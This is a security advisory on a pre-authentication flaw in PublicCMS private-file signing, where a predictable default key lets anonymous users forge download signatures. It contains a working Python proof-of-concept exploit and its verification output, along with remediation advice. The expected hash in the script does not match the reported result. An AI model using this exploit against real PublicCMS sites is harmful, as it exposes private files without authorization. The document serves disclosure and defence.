PublicCMS Pre-Auth Predictable Default privatefile_key Allows Forged Private File Signatures and Anonymous Private File Download
Project: PublicCMS
Repository: https://github.com/sanluan/PublicCMS
Vulnerability ID: VPLUS-2026-25384
Title: Pre-Authentication Predictable Default privatefile_key in PublicCMS Allows Forged Signatures for Private File Downloads
Description: A cryptographic design flaw exists in PublicCMS private file protection. The /file/private endpoint is intended to restrict access to private files through signed URLs, but the default signing key is predictable rather than being a random secret.
The issue is caused by the following conditions:
SafeConfigComponent.getSignKey(...)uses a deterministic fallback value whenprivatefile_keyis not configured. The default key is derived from:siteIdCMS_FILEPATH.hashCode()clusterId
VersionDirective.execute(...)exposes theclustervalue through the unauthenticated endpoint:/api/directive/tools/version
FileController.privatefile(...)only validatesexpiry + filePath + sign, but does not require authentication and does not ensure the signing key is based on a server-side random secret.
As a result, once an attacker knows or obtains the path of a private file, they can derive the default signing key offline, forge a valid sign value, and download the private file without authentication.
Affected Component: Private file access control / signed URL mechanism
Affected File: publiccms-core/src/main/java/com/publiccms/logic/component/config/SafeConfigComponent.java
Affected Function: getSignKey
Affected Line: 159
Technical Root Cause: The application uses a predictable default key for private file signatures instead of a high-entropy random secret. At the same time, one of the required derivation inputs (cluster) is publicly exposed through an anonymous API. This makes the effective signing secret externally derivable.
Attack Vector: An unauthenticated attacker can:
- Obtain
clusterfrom:GET /api/directive/tools/version
- Derive the default signing key using the known algorithm
- Forge a valid signature for:
GET /file/private?expiry=<value>&filePath=<private_path>&sign=<forged_sign>
Proof of Concept:
#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import base64
import hashlib
import requests
import sys
import urllib.parse
BASE='http://192.168.200.81:8080'
SITE_ID=1
CMS_FILEPATH='/data/publiccms'
FILE_PATH='upload/2026/03-27/00-28-2900911521961286.png'
EXPIRY=9999999999999
IV=b'1245656789012334'
EXPECTED_SHA256='16bb9371d8d5a28c4a827a0fc6b5ba680c260e6599e5408069a3976a5d03f12f'
def java_hash(s: str) -> int:
h = 0
for ch in s:
h = (31 * h + ord(ch)) & 0xffffffff
if h >= 2**31:
h -= 2**32
return h
cluster = requests.get(f'{BASE}/api/directive/tools/version', timeout=10).json()['cluster']
base_resp = requests.get(
f'{BASE}/file/private?expiry={EXPIRY}&filePath={urllib.parse.quote(FILE_PATH)}',
timeout=10,
)
print('CLUSTER', cluster)
print('BASELINE_STATUS', base_resp.status_code)
sign_key = f'{SITE_ID}{java_hash(CMS_FILEPATH)}{cluster}'
key = sign_key[:16].encode()
plaintext = f'expiry={EXPIRY}&filePath={FILE_PATH}'.encode()
sign = base64.b64encode(AESGCM(key).encrypt(IV, plaintext, None)).decode()
url = f'{BASE}/file/private?expiry={EXPIRY}&filePath={urllib.parse.quote(FILE_PATH)}&sign={urllib.parse.quote(sign)}'
resp = requests.get(url, timeout=10)
body_sha256 = hashlib.sha256(resp.content).hexdigest()
print('FORGED_URL', url)
print('FORGED_STATUS', resp.status_code)
print('BODY_SHA256', body_sha256)
print('MATCH_EXPECTED', body_sha256 == EXPECTED_SHA256)
print('BODY_PREFIX_B64', base64.b64encode(resp.content[:16]).decode())
if not (base_resp.status_code == 403 and resp.status_code == 200 and body_sha256 == EXPECTED_SHA256):
sys.exit(1)
Observed Behavior: The issue was successfully verified:
- Requesting the private file without
signreturned403 - Requesting it with an invalid signature also returned
403 - After anonymously obtaining
clusterand deriving the default signing key, a forged signature was generated - A forged request to
/file/privatereturned200 - The downloaded file SHA-256 matched the original uploaded private file exactly
Example Verification Results:
VERSION_STATUS 200CLUSTER 9148c4cf-908c-4c1d-86e6-d7be50f983adBASELINE_STATUS 403BAD_SIGN_STATUS 403FORGED_STATUS 200BODY_SHA256 fd25760c519c14c759f52ad7a8dbd561f72c84e8b975909af1775bd52120a485MATCH_EXPECTED True
Impact: This vulnerability enables remote unauthenticated attackers to bypass private file access protection and download private files as long as the file path is known or disclosed elsewhere. Since private file paths may leak through frontend pages, logs, history, shared links, or other APIs, the issue can lead to unauthorized disclosure of sensitive documents, images, or other restricted content.
Severity: High
CVSS: 7.5
Remediation Recommendations:
- Require a high-entropy, randomly generated
privatefile_keyfor each site during installation or initialization. - Eliminate predictable fallback keys based on public or semi-public values such as
siteId, file paths, version data, or cluster identifiers. - Do not expose internal identifiers such as
clusterto unauthenticated users if they may assist in key derivation or security decisions. - Do not use reversible encryption output as a signature mechanism. Replace it with HMAC-based signing such as
HMAC-SHA256using a strong secret key. - Rotate all existing private file signing keys and invalidate historical signed URLs.
- If private file access is intended to enforce real authorization, bind file download permission to user identity, ownership, or short-lived one-time tokens instead of relying solely on forgeable URL parameters.